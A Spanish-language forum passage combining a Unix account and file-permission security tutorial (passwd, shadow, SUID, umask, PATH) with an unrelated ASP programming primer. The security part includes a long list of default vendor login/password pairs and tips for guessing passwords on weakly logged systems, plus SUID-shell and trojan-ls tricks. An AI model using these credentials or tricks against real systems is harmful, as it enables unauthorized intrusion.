Si en el campo de la clave aparece un NP, (NO password) la cuenta no tiene
password, si por el contrario aparece LK (Locked passwd) significa que la
cuenta esta bloqueada.

Para buscar las cuentas sin passwd:

egrep ‘NP|::’ /etc/passwd

Para buscar por ejemplo info de un usuario en el fichero passwd:

egrep ‘usuario1|usuario2’ /etc/passwd

El numero 0 es el identificador de Usuario (uid).
El identificador de usuario permite determinar, entre otras cosas:
Que ficheros son propiedad de dicho usuario, cuales son los que se pueden
ejecutar, a que zonas tiene acceso un usuario, etc... Con esto quiero decir
que UNIX/Linux no identifica de quien es cada cosa por el nombre de usuario
sino por el UID.

UID es un entero sin signo de 16 bits, el cual va de 0 a 65535.
Los UID’s menores de 9 son habitualmente usados por funciones del sistema
como ftp.
El uid 0 corresponde a el superusuario (root), los UID para los demas
usuarios suelen empezar a partir del numero 100.

2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs

El siguiente campo pertenece al Identificador de Grupo, en este caso root
pertenece al grupo 0. A los usuarios que van a pertenecer al mismo grupo se
les asigna el mismo gid.

El gid puede ir de 0 hasta 60000, El 0 corresponde al grupo de superusuario:
Los usuarios que estan en el mismo grupo tienen el mismo nivel de privilegios
para aquellos elementos que pertenezcan al grupo.

En el directorio /etc/group esta la lista de cada grupo, un ejemplo del
/etc/group es:

Administ:*:0:root,Charli
Programadores:*:10:Juan,Pedro,Antonio
Usuarios:*:100:

Donde:

Administ Es el nombre del grupo
* Es el password del grupo, en este caso no hay passwd
Root, Charli Los miembros del grupo.

Pueden haber un usuario que pertenezca a varios grupos, el usuario podre
entrar en todos aquellos grupos donde este su loguin, por defecto al entrar
en el sistema entrare en el grupo que corresponda a su gid, luego para
cambiar de grupo simplemente ha de teclear:

newgrp nombre-grupo

Para asociar una clave a un grupo se genera la clave para un usuario nuevo y
se copia con el editor de textos en el fichero /etc/group en el campo
correspondiente.

Los permisos para este fichero han de ser de lectura y escritura para el root
y de lectura para los demas usuarios, SI un usuario puede escribir en este
fichero puede ganar permisos de root con simplemente poner su nombre de
usuario en el mismo grupo en que esta el root y quitar la password si es que
hay.

La orden chgrp sirve para cambiar el grupo propietario de un archivo, su
sintaxis es:

chgrp [opciones] [grupo] [archivo]

La orden chown sirve para cambiar el propietario de un archivo, pero tambien
admite la utilizacion de uid y gid.

Por ejemplo:

chown 500:100 /bin/bash

Cambia el propietario del archivo al usuario con uid 500 y al grupo gid 100.
Se recomienda que /bin/chown solo pueda ser ejecutado por los usuarios con gid
0.

2.2 oRDeN Su

La orden su significa (switch user, cambiar usuario) se utiliza para cambiar
de un usuario a otro, si no se utiliza ningun campo su asume que se ha de
pasar al usuario root.

Una manera de restringir la orden su es quitando al programa /bin/su permisos
de ejecucion a los usuarios que no pertenezcan a un grupo especial, como
administradores. Como ya sabeis los permisos pueden ser para el propietario,
para el grupo y para todos los usuarios.

2.3 PaSSWorDs eN SHaDoW



Los passwords en Unix se dividen en 7 campos, (separados por dos puntos) :

tonto:h34Sd3vc23: 100:100:Alvaro:/usr/tonto:/bin/sh

- Primer campo: Tonto
Es el nombre con el que el sistema reconoce al usuario. A eso se le llama
(login). (Perdonadme los que entiendan algo de unix, pero esque lo tengo que
explicar pa alguien que no sepa na de na).

- Segundo campo: h34Sd3vc23
Esta es la palabra clave del usuario pero esta cifrada. Si contiene un
asterisco (*) este password esta desactivado y no puede usarse. :(

- Tercer campo: 100
Este es el número de usuario del sistema, (que puede ser hasta 60000). El
usuario con nivel 0 es el root o superusuario.

- Cuarto campo: 100
Es el número del grupo al que pertenece el usuario, todos los usuarios de un
mismo grupo tienen los mismos privilegios como es logico, (tambien este campo
puede ser del 0 al 60000)

- Quinto campo: Alvaro
En este campo aparecen datos adicionales del usuario, (en este caso el
nombre).

- Sexto campo: /usr/tonto
Es el directorio home del usuario en cuestion.

- Septimo campo: /bin/sh
Es el Shell que el usuario tonto utiliza.

Como si pillas un fichero de passwords que no estan en shadow y te pones a
crackearlo salen passwords como caracoles despues de la lluvia J, se decide
de poner este sistema en que las passwords encryptadas se guardan en un
archivo a parte generalmente en /etc/shadow (pero depende del sistema),
este archivo al contrario del /etc/passwd solo tiene permisos de lectura para
el root.

Luego en el fichero /etc/passwd en vez de la clave encryptada se pone un * o
algun otro simbolo, esto depende del sistema, he aqui unos ejemplos :))

Tipo de UNIX Directorio Simbolo

AIX3 /etc/security/passwd !
SunOs 5.0 /etc/shadow *
UNICOS /etc/udb *
BSD4.3-Reno /etc/master.passwd *
HP-UX /.segure/etc/passwd *
EP/IX /etc/shadow X
IRIX 5 /etc/shadow X

La estructura del fichero /etc/shadow es la siguiente:

username:passwd:last:may:must:warn:expire:disable:

Donde:

username Es el nombre de usuario.

passwd La clave encryptada.

last Los dias que hace que se cambio la clave desde 1/1/1970.

may Los dias que han de pasar para que la clave pueda ser cambiada.

must Los dias en que espira la clave.

warn Los dias en que se avisara al usurario antes de que el passwd
expire.

expire Son los dias que pueden pasar con la clave caducada antes de
que se deshabilite la cuenta.

Hay una seria de circunstancias en que poner contrase¤as a la sombra puede
dar problemas:

. Cuando en la maquina se verifica el password via NFS, NIS o algun otro
metodo.

. Cuando la maquina esta en una LAN y esta usando NIS (Network Information
Services).

En el fichero /etc/login.defs se especifica por ejemplo los dias maximos en
que puede expirar una passwd, los dias minimos, los caracteres minimos que
puede tener, el UID maximo etc...

Podemos bloquear el programa passwd para que solo un grupo de usuarios o un
usuario puedan ejecutarlo (cambiar su passwd) :

Por ejemplo:

chgrp grupo /bin/passwd

Cambia el grupo propietario del programa passwd.

chmod 4750 /bin/passwd

Cambia los permisos para que solo pueda ejecutar el propietario y el grupo
propietario del programa /bin/passwd.

NOTA: Puedes ver el contenido del fichero /etc/passwd simplemente tecleando:

cat /etc/passwd

Si estas en una red que usa un servidor NIS las contraseñas de toda la red se
guardan en este servidor, para ver el contenido del fichero passwd:

ypcat passwd


2.4 CueNTaS PoR DeFecTo
3 SisTeMaS De FicHeRos.
3.1 PerMiSoS eN FicHeRos , chown , etc ...
3.2 La oRDeN uMasK
3.3 SuiD , sGiD
3.4 La VaRiaBLe PATH


Cuentas de Invitado ("Guest")

Las cuentas de invitado (Guest) a veces se suelen utilizar para comprobar
configuraciones SMTP y demas.

Estas cuentas, por defecto, suelen tener asociado un password JOE (un
password JOE es aquel que es igual que el login), por lo que si hemos de
habilitar estas cuentas lo mejor es cambiarles el password.
Si no utilizas estas cuentas lo mejor es ponerlas el asterisco (*) en el
/etc/passwd (un asterisco entre los dos primeros ":" inhabilita la cuenta,
y por tanto el usuario no puede entrar en el sistema).

Por si acaso se le puede poner como $HOME el /dev/null (el "aguejero
negro" de nuestro sistema).

Cuentas sin Passwords
Numerosos sistemas tienen instaladas cuentas con nombres como "who", "date",
"lpq", y demás con el objetivo de lanzar determinados comandos. Esto tiene la
finalidad de permitir a los usuarios lanzar sus procesos sin necesidad de
entrar en la maquina y ejecutarlos a mano. Estas cuentas NO suelen tener
password, y por tanto su potencial problema es que abren inmensos agujeros
de seguridad en la maquina; por lo general, ademas, estas cuentas suelen tener
permisos de root (super-usuario).

Que hacer, pues?

Simplemente, NO permitir estas cuentas!

Lista Extraída de :


Hack en accion ( basico ) Parte I By PLaXiuS

Cuentas por defetco mas comunes:

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qsvr qsvr
secofr secofr

DECserver
~~~~~~~~~
ACCESS
SYSTEM

HP-x000
~~~~~~~
Este sistema es elaborado por Hewlett-Packard. Se caracteriza por el prompt
":". La secuencia de entrada a este sistema es una de las más complicadas.
Debes escribir: "HELLO SESSION NOMBRE,USUARIO,NOMBRE-DE-CUENTA,GRUPO"
Afortunadamente algunos de esos campos pueden dejarse en blanco. En ocasiones
todos los campos están protegidos con passwords por lo que este sistema no es
uno de los mas fáciles de acceder.

Las cuentas defaults comunes son:

Login User
~~~~~ ~~~~
MGR.TELESUP,PUB MGR
Acct: HPONLYG rp: PUB
MGR.HPOFFICE,PUB
FIELD.SUPPORT,PUB FLD,
MAIL.TELESUP,PUB MAIL,
MGR.RJE
FIELD.HPP189 ,HPP187,HPP189,HPP196
MGR.TELESUP,PUB,HPONLY,HP3

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Major BBS
~~~~~~~~~
Sysop Sysop

PICK O/S
~~~~~~~~
DSA
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>

Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
MICRO/RSX

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

VMS
~~~
La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre
el sistema operativo VMS (virtual memory system). VMS se caracteriza por su
prompt 'Username:'. Este sistema no te dire si has entrado un login correcto
o no y te desconectara despues de tres malos intentos. Tambien mantiene un
log de todos los logins que fallaron e informa al due¤o de la cuenta la
proxima vez que entre cuantos intentos fallados se hicieron.

Es uno de los sistemas más seguros desde fuera pero ya dentro tiene varios
errores en la seguridad. Las VAX ademas tienen unos de los mejores archivos
de ayuda de entre los demas sistemas, para acceder a esta ayuda solo escribe
HELP en el prompt. Las cuentas defaults comunes son: [ usuario: password
[,password] ]

Login Password
~~~~~ ~~~~~~~~
decnet decnet
demo demo
field field
field service
guest guest
operator operator
sysmaint digital
sysmaint service
sysmaint sysmaint
system manager
system operator
system syslib
system system
systest uetp

UNIX
~~~~
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
adm adm
adm admin
admin adm
admin admin
bin bin
daemon daemon
decnet ddennet
decnet nonpriv
default user
demo demo
field digital
field service
field test
games games
games player
guest friend
guest guest
guest welcome
host host
learn learn
netnonpriv nonpriv
nuucp nuucp
postmaster mail
rje rje
root root
root sysop
root system
sys sys
sys system
sysop sysop
sysman sys
sysman sysman
sysman system
sysadmin adm
sysadmin admin
sysadmin sys
sysadmin sysadmin
sysadmin system
sysbin sysbin
sysmaint digital
sysmaint service
system manager
system operator
system syslib
system uetp
systest_clig systest
test test
tty tty
unix test
unix unix
userp user
uucp uucp
uuhost uuhost
who who

PRIME
~~~~~
Esta computadora opera con el sistema operativo Primos. Son faciles de
detectar ya que reciben a uno con el mensaje "Primecon xx.xx.xx" o algo
parecido dependiendo de la version que te encuentres. Usualmente no ofrecen
ningún prompt asi que debes escribir "login <usuario>". Si la version es
anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o
CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS
de todo el mundo con el comando NETLINK...sintax: nc <nua>

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
guest guest
guest prime
guest1 guest
netlink netlin
prime prime
prime primos
primos prime
primos primos
primos_cs prime
primos_cs primos
primenet primenet
system prime
system primos
system system
test test
test prime
test primos

DEC-10
~~~~~~
Este es el equipo de computo más nuevo que existe dentro de la linea de DEC'
s.Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por
el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo
varios intentos en el login prompt sin guardar un log de los intentos
fallados. Las cuentas están en forma [xxx,yyy].

Lo mejor de este sistema es la posibilidad de obtener informacion sobre las
personas en linea antes de entrar a el usando el comando systat.

Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como
password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando:
login xxx,yyy [enter] password: Este sistema como antes habia dicho, permite
intentos sin limite y ademas te avisa si el login que est s usando existe.

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
1,2 manager
1,2 operator
1,2 syslib
2,7 maintain
5,30 games

IRIS
~~~~
Iris significa (interactive real time information system). Originalmente
corria en PDP-11's, pero ahora corre en otras minis. Para identificar uno de
estos sistemas busca el texto "Welcome to `IRIS' R9.1.4 Timesharing" y el
prompt ACCOUNT ID? (algunas veces es cambiado). IRIS no tiene limites a la
hora de hackear una cuenta y no guarda un log de los intentos fallados.

Login
~~~~~
accounting
boss
demo
manager
pdp8
pdp11
software

VM/CMS
~~~~~~
Este sistema es ejecutado en las super computadoras de IBM (International
Business Machines) llamadas mainframes. Una vez conectado a una de estas
computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dare un prompt
"." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
autolog1 autolog
autolog1 autolog1
cms cms
cmsbatch cms
cmsbatch cmsbatch
erep erep
maint maint
maint maintain
operatns operatns
operatns operator
operator operator
rscs rscs
smart smart
sna sna
vmtest vmtest
vmutil vmutil
vtam vtam

NOS
~~~
NOS significa Networking Operating System y corre en la Cyber computadora
hecha por Control Data Corp. A este sistema lo puedes identificar facilmente
por la bienvenida "WELCOME TO THE NOS SOFTWARE SYSTEM...".
El primer prompt que recibir sera FAMILY: (presiona enter) depues llegar
a otro prompt USER NAME: donde cada uno es de 7 digitos alfanumericos y son
dependientes del sistema por lo que no son palabras o frases conocidas.

DECSERVER
~~~~~~~~~
Las DECs son una serie de computadoras conectadas entre si para formar una
sola unidad de procesamiento, la funcionalidad de estos sistemas es altamente
utilizado por los hackers para quebrar passwords de cuentas unix por la
rapidez del sistema. El prompt usualmente sera: "Enter Username>"
aunque yo he visto otros prompts en estos sistemas. El nombre de usuario
puede ser cualquier cosa, lo mejor ser presionar algo nada sospechoso como
`c' o algun numero.

De ah¡ te presentar con el prompt `local>'. De ahi debes ejecutar `c
<sistema>' para conectarte. Para obtener una lista de sistemas conectados
ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen
comandos como MODEM o DIAL que permiten hacer uso de un modem para llamadas
externas que te permitir n marcar a BBS internacionales a expensas de la
compa¤ia que opera el DEC.

3. SiSTeMaS De FiCHeRoS

El sistema de ficheros de UNIX/LINUX tiene una estructura de arbol. Un arbol
esta constituido por directorios, que contiene a su vez subdirectorios, etc.
Todo parte de un directorio raiz.

En UNIX, todo esta representado mediante directorios o ficheros, como por
ejemplo las unidades, el CD-ROM etc..
Cada fichero contiene un nombre, es propiedad de un usuario, tiene unos
permisos etc.
Toda esta informacion esta almacenada en los inodo, los inodos guardan todo
lo asociado con el fichero excepto su nombre, los nombres son guardados en
sus directorios y son asociados con los inodos mediante punteros.

Los inodos no poseen nombre. En su defecto se distinguen por un numero o
indice, que indica su posicion en la tabla de inodos. Los inodos son las
entradas de una tabla de localizacion de ficheros, parecido a al FAT de dos,
pero en formato etx2.

Cada inodo contiene lo siguiente:

. La ubicacion del contenido del objeto referenciado al disco.
. El tipo de objeto (ficheros, directorios, enlace simbolico, etc).
. El tama¤o del objeto en bytes.
. La fecha en la que el inodo fue modificado por ultima vez.
. La fecha en la que el Objeto fue accedido por ultima vez.
. El Propietario del Objeto.
. El grupo propietario del Objeto.
. Los permisos del Objeto.

En UNIX / Linux varios ficheros pueden estar referenciados al mismo inodo ,
a esto de le llama link o enlace.

Cada directorio tiene como mínimo dos entradas. El punto (.), que referencia
el propio directorio y los dos puntos (..), que apuntan al directorio padre (
al que esta mas cerca del directorio raiz).

3.1 PeRMiSoS eN FiCHeRoS

Los permisos pueden ser:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de Ejecución.
s Suid o Sgid.
t Stlicky bit.

LOS PERMISOS PUEDEN SER:

Para el propietario (owner).
Para el grupo (group).
Para todos los demas (other).
Para ver los permisos de un fichero basta con la orden ls -l.
Para cambiar los permisos de los ficheros o directorios se utiliza la orden

chmod , su sintaxis es:
chmod [-Rfh] [agou] [+-=] [rwxst] nombre

Donde:

-R Algunas versiones no soportan esta opcion, con -R estamos diciendo que
queremos cambiar los permisos recursivamente esto quiere decir que si
cambiamos los permisos de un directorio con esta opcion se cambiaran
los permisos de todos los archivos y subdirectorios del directorio.

-f Si sucede algun error con esta opcion no sera mostrado.

-h Se utiliza para los links con esta opcion se cambian los permisos
del link pero no el del fichero al que apunta el link.

Y donde:

a Modifica para todos los usuarios el privilegio especificado.
g Modifica los privilegios para el grupo.
o Modifica los privilegios para los demás usuarios.
u Modifica los privilegios para el propietario.

Y donde:

+ A¤ade un privilegio.

Quita un privilegio.

= Quita todos los privilegios.....

Y donde:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de ejecución.
s SUID o SGID.
t Sticky bit.

Ejemplos:

ls -lfiche1

-rwx-r-r- pedro usuarios 505 FEB 9 13:19 fiche1

Donde el primer carácter puede ser:

- Fichero normal.
d Directorio.
c Dispositivo (tty o impresora etc..)
b Dispositivos como el CD-ROM etc..
l Link simbolico.

Etc...

Despues del primer caracter los tres siguientes son permisos para el
propietarios luego los tres que le siguen pal grupo y los otros para los
demas usuarios si aparece el caracter - en el campo de alguno de estos
significa que no existe dicho permisos.

En el ejemplo de fiche1 tiene permiso de lectura, escritura, ejecucion para
el propietario. Lectura para el grupo y lectura para todos los demas, y
donde pedro es el propietario del fichero y usuarios es el nombre del grupo
al cual pertenece el fichero.

Para añadir permisos de escritura al grupo:

Chmod g+w fiche1

Hacemos un ls -l fiche1

-rwx-rw-r-

Otro ejemp:

ls -l fiche2

-r-r-r-

chmod a+w fiche2

ls -l

-rw-rw-rw-

Otro ejemplo:

ls -l fich3

-rwxrwxrwx

chmod go= fiche3

Esto quita todos los permisos para el grupo y para los demas usuarios:

ls -l fiche3

-rwx------

Hay una manera numerica de poner permisos:

Chmod [-Rfh] modo fichero

Donde:

El modo es:

A chmod se le pueden especificar los permisos con un numero octal de 4
digitos, los numeros son:

Numero Octal Permiso

4000 Permisos de SUID.
2000 Permisos de SGID.
1000 “Sticky bit”
0400 Permiso de Lectura para el usuario.
0200 Permiso de Escritura para el usuario.
0100 Permiso de Ejecucion para el usuario.
0040 Permiso de Lectura para el grupo.
0020 Permiso de Escritura para el grupo.
0010 Permiso de Ejecucion para el grupo.
0004 Permiso de Lectura para todos.
0002 Permiso de Escritura para todos.
0001 Permiso de Ejecucion para todos.

La manera de calcular los permisos es ir sumandolos por ejemplo para poner
permiso de Lectura, Escritura, Ejecucion para el usuario del fichero.
Lectura y Ejecucion para el grupo..
Y ningún permiso para los demas. Se haria de la siguiente manera:

chmod 0750 fichero

Ya que:

0400 Lectura pal usuario.
+
0200 Escritura pal usuario.
+
0100 Ejecucion pal usuario.
+
0040 Ejecucion para el grupo.
+
0010 Ejecucion para el grupo.
---------
0750

Si hicieramos un ls -l fichero veriamos:

-rwxr-w---

Permisos a directorios:

Los permisos para los directorios son los mismos que para los ficheros de
Lectura, Escritura, Ejecución pero tienen un significado algo distinto.

Para un directorio el permiso de lectura indica que se pueden ver los nombres
de los archivos del directorio, si se los quitas y hacer un ls no veras nada.
Para ver los permisos de los directorios ejecuta ls -lF.

Los permiso se cambian de la misma manera que los ficheros.

Si no hay permisos de ejecucion no se podrá entrar en dicho directorio.

Permiso sobre ficheros y directorios habituales:

Número Octal Nombre Permiso

755 /bin/ls Todo el mundo puede copiar y ejecutar este programa.

0700 $HOME Nadie ha de poder entrar en
tu directorio home (excepto el root :)).

0600 /usr/mail/$USER Nadie debería poder escribir ni leer tu mail :).

3.2 La oRDeN uMask:

Cuando creamos un archivo o directorio este se crea con unos permisos
predeterminados, se puede cambiar el modo predeterminado para un directorio,
esto significara que todo lo que se cree dentro de este directorio lo hara
con los permisos que nosotros hemos predeterminado, la orden umask utiliza el
sistema de números para predeterminar permisos.

El valor que nosotros queramos predeterminar lo hemos de restar de 777, por
ejemplo queremos que para el directorio /root los valores predeterminados
sean, Lectura, Escritura, para el usuario. Pues lo que debemos hacer es
restar 177 de 777 y nos quedará 600 que es el valor que queremos.

Ejemplo:

umask 177 /root

Que es esto del Sticky bit ?

Cuando un ejecutable tiene este bit activado (Sticky bit) aparece con una t
situada al final del campo de permisos. Al activar este bit estamos indicando
al sistema que queremos que el programa permanezca en memoria al terminar su
ejecucion, seria parecido a los programas residentes del Dos.

Si se usa sobre un directorio este bit tiene un significado diferente, por
ejemplo:

chmod 1777 /tmp

Todo el mundo podra escribir, pero nadie podrá borrar los archivos creadores
por los demas usuarios.

3.3 eL SuiD y eL SGiD

El tener los permisos suid o sgid activados en algun programa puede resultar
bastante peligroso, muy peligroso :), ya que los exploits de buffer o Stack
Overflow se aprovechan de estos permisos, me explico:

Tener el permisos SUID activado en un programa significa que cuando un
usuario ejecute el programa lo hará como si lo hubiera ejecutado el
usuario del fichero o por el grupo si tiene el SGID activado.

Porque utilizar estos permisos ?

Hay programas que tienen que acceder a zonas donde solo tiene permiso el root
, un ejemplo es el programa passwd el cual sirve para cambiar el password de
un usuario, el propietarios de este programa es el root, si no tuviera
permisos de suid el programa no podria ( o no debería poder ) modificar el
fichero /etc/passwd ya que se hubiera ejecutado con la uid de usuario y por
tanto un usuario normal no puede modificar dicho fichero, para solucionar
esto se le dan permisos de suid, entonces el programa se ejecuta como si lo
hubiera hecho el root y puedes modificar tranquilamente el fichero.

SGID funciona igual que el SUID lo único que le programa se ejecutaria como
si lo hubiera hecho el grupo propietario de dicho programa.

EL peligro de estos permisos:

Si mientras el programa esta ejecucion pudieramos sobreescribir parte de la
pila, cambiar al direccion de retorno de alguna funcion etc... y
consiguieramos que este programa ejecutase codigo que no pertenece a este
programa, dicho codigo se ejecutaria con permisos del propietario del
programa que habitualmente es el root.

Para ver si un programa tiene activa el SUI o SGID basta con hacer un:

ls -l nombredelfichero

-rwsr-xr-x root root ....

La s significa que el programa tiene activado los permisos de suid, ya que s
esta en le campo del propietario, Asi que el programa tiene permisos de suid
el propietarios es el root y el grupo propietario del programa es el grupo
root. Dicho programa puede ser ejecutado por cualquiera y cuando se ejecute
lo hara con permisos de root.

NOTA: Para encontrar todos los archivos que tengan activado suid o el sgid :

find / (-perm -004000 -o perm -002000) -type f -print

Donde find empieza a buscar en el directorio raíz (/) y mira todos los
archivos que tienen modo 002000 (sgid) o modo 004000 (suid). Donde la opcion
-type f es para que solo busque ficheros normales y -printf para que lo que
encuentre lo saque por pantalla.

Si se esta usando NFS y solo se quieres buscar en el ordenador en el que
estas y que no mire en los archivos montados de otros ordenadores:

find / (-local -o -prune ) ( -perm -004000 -o -perm -002000 )
-typef -print

Se ha de tener cuidado a la hora de montar archivos remotos o el floppy o el
CD-ROM ya que en el caso de archivos remotos el usuario remoto simplemente
creando un suid programa en su ordenador y haciendolo correr en la maquina en
la que se montan estos archivos podria pillar permisos de root facilmente ,
por ejemplo el usuario copia en los archivos que se van a montar de un
ordenador en el que tiene permisos una shell con suid activado cuyo
propietario es root y lo ejecuta en el ordenador donde se montan estos
ficheros...

Tb pasaria con el floppy , puedes grabar una shell con suid activado en un
floppy y luego montarlo en el ordenador y ejecutarlo.
Para que no ocurra todo esto no ocurra se ha de impedir que se monten con el
suid y sgid o que el sistema pase de todo estos permisos cuando proviene de un
disquete, archivo remoto y tal..

En los archivos remotos (NSF) se ha de configurar el ficheros /etc/exports
con las restricciones:

nodev
nosuid

Y si se quiere tb

noexec

La opcion nodev hace que el sistema ignore los archivos montados,
Si tiene el suid activado lo ignora.

En el caso de disquetes y tal:

Para unidades, archivos, flopyes etc, que se han de montar el fichero de
configuracion es el /etc/fstab se pueden usar :

nodev
nosuid

3.4 La VaRiaBLe PaTH

En la variable PATH se indican los directorios donde deberan buscarse los
programas que se ejecuten, produciendose la busqueda en el orden en que
aparece en la variable. Si la variable PATH se asigna de la forma
PATH=.:/usr/bin:/usr/sbin primero se buscará en el directorio actual y luego
en el resto de los que aparecen en la variable. Esto puede ser peligroso,
por ejemplo:

Si alguien creamos en un directorio donde tengamos permisos de escritura un
fichero shell script llamado ls, si un usuario entra en ese directorio y
teclea ls al tener en la variable PATH los .: buscaria primero en ese
directorio el programa ls y ejecutaria nuestro shell script, este shell
script podía hacer cualquier cosa y luego llamar al verdadero ls (/bin/ls),
el usuario habria ejecutado un programa que no es el /bin/ls y no se habria
dado ni cuenta.

Par evitar esto, dicha variable debe de asignarse como:

PATH:/usr/bin/:/usr/sbin: es decir con los dos puntos al final en lugar del
principio, de esta forma se buscaría por último en el directorio actual.

NOTA: Existen unos comandos para ver tanto las variables locales como las de
entorno y sus valores asignados, estos comandos son:

env

Muestra por pantalla las variables de entorno y sus valores.

set

Muestra tanto las variables de entorno como las locales.

unset acompa¤ado del nombre de la variable asigna a esta un valor NUL
(nulo).

El comando env en realidad es un programa que se encuentra en /usr/bin/env,
mientras que set y unset son propios de la shell.

Algunas variables Importantes:

Variables Valor Descripcion

ENV $HOME/.profile Ejecuta el fichero indicado al arrancar el shell.

HOME /home/usuario Contiene la ruta del directorio principal
del usuario.

TERM vt100 Contiene el tipo de terminal utilizado en
la conexion.

TIMOUT 600 Determina el tiempo que debe de estar el
terminal inactivo para que finalice
automaticamente la conexion.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
345  Informática / Tutoriales - Documentación / Curso ASP en: 28 Agosto 2002, 15:58 pm
ASP->Active Server Pages

C++ | Visual Basic
|
Interpretado:javascript | VBScript
Servidor: PHP | ASP



PROGRAMACIÓN EN ASP:

Las páginas tienen una extensión .ASP
Los tags son <% %>

ejemplo:

prueba.asp

<% response.write "HOLA" %>


Variables:

No hace falta definirlas

dim var1

option explicit obligamos a definir todas las variables (recomendado)

vartype var1

Nos devuelve el tipo de una variable (un número)

vbEmpty --> 0
vbNull --> 1
vbInteger --> 2
vbLong --> 3
vbSingle --> 4
vbDouble --> 5
vbCurrency --> 6
vbDate --> 7
vbString --> 8
vbObject --> 9
vbError --> 10
vbBoolean --> 11
vbVariant --> 12
vbDataObject --> 13
vbBytc --> 17
vbArray --> 8192

Ejemplo:

dim var1
var1=6.0
response.write vartype (var1)

Resultado --> 5 (o sea double)

option explicit
response.write "Hola"
response.write var1

Resultado --> Variable no definida: 'var1'

-----------------------------------------

División Entera --> \
Potencia -- ^
Modulo --> Mod

Operadores de comparación:

=
<>

Concatenar: & (+)


and --> las dos son ciertas

or --> una de las dos es cierta

not -->lo contrario

xor --> cierto si solamente una de las dos es cierta.


function pepe(param1,param2)
pepe=5
end function

exit function para salir de una funcion

Procedimientos
sub PepeProc (par1,par2)
end sub

exit sub para salir del procedimiento


Para llamar a un procedimiento

call PepeProc ("Par1,"par2) o directamente PepeProc "par1","par2"


if condicion then
...
else
...
end if


select case(variable)
case "A": ...
case "B": ...
case "C": ...
case Else: ...
end select

function tipovariable(var)


for next

for a=1 to 5
..
next

do (while | until) ... loop


Do while a>0
...
loop

do until a=0
..
loop

While ... wend (Obsoleto)

For each ... in ...


For each elemento in Mi_Array


Salir bucles

Exit for (for)

Exit loop (while)

----------------------------
i=0
x=1
do while i<=9
i=i+1
resultado=x*i
response.write ""
response.write resultado
loop
----------------------------

Ámbito de las variables

- Página
Dim a
a=5

Esta variable tiene valor dentro de esta página (sólo en la página actual)

- Sesión
Válidas durante toda la visita del usuario (Dura hasta que se cierra el navegador o hasta que pasa un tiempo determinado)

Session("var")=5

- Aplicación
Válidas siempre, no caducan y se puede acceder para todos los usuarios.

Application("var")=7



Global.asa

InetPub/www.root

se carga siempre que un usuario abre una página asp
inicializaciones/terminaciones

session_onstart-->se activa cuando unusuario entra en la página
session_onend-->se desactiva cuando un usuario abandona la sesión pq ha pasado un tiempo o pq ha hecho un session_abandon
application_onstart--> se activa cuando el 1er usuario entra en la página web
application_onend --> se desactiva cuando ya no haya ninguna sesión activa

plantilla para un fichero global:


sub session_onstart
end sub
sub session_onend
end sub
sub application_onstart
application("visitas")=0
end sub
sub application_onend
end sub


PROPIEDADES:

session_id --> identificador de la sesión
timeout --> tiempo que queda de sesión

session.sessionid

MÉTODO:

abandon-->destruye la sesión actual y nos activa el evento session_onend.No destruye la sesión hasta que no se haya ejecutado todo el código.

contents.remove-->elimina una variable de sesión
contents.removeall-->elimina todas las variables de sesión
contents-->colección de elementos añadidos a la sesión

ejemplo:
session("var1")=1
session("var2")=2



Application

Lock --> bloquear

Unlock --> desbloquear

Application.lock
Application.("variable")="Hola"
